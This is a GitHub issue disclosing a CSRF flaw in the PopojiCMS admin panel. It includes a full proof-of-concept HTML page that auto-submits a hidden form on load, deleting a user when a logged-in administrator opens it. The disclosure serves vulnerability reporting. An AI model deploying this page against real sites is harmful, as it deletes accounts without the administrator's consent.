New issue

Jump to bottom

I found a CSRF vulnerability to delete user #31

⊙ Open **fatmo666** opened this issue on Mar 6, 2021 · 0 comments

fatmo666 commented on Mar 6, 2021

One: use CSRF vulnerability to delete user
Vulnerability details:
When the administrator logs in, opening the webpage will automatically delete the specified user.
Vulnerability url: http://127.0.0.1/popojicms/po-admin/admin.php?mod=user
Vulnerability POC:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "7","7","10" );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{
    var count = 3;
    var i=0;

    for(i=0; i<count; i++)
    {
        document.forms[i].submit();

        pausecomp(pauses[i]);
    }
}

</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="POST" name="form0" action="http://127.0.0.1:80/popojicms/po-admin/route.php?mod=user&act=multidelete">
<input type="hidden" name="totaldata" value="1"/>
<input type="hidden" name="table-user_length" value="10"/>
<input type="hidden" name="item[0][deldata]" value="5"/>
</form>
<form method="GET" name="form1" action="http://127.0.0.1:80/popojicms/po-admin/admin.php?mod=user">
<input type="hidden" name="name" value="value"/>
</form>

</body>
</html>
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant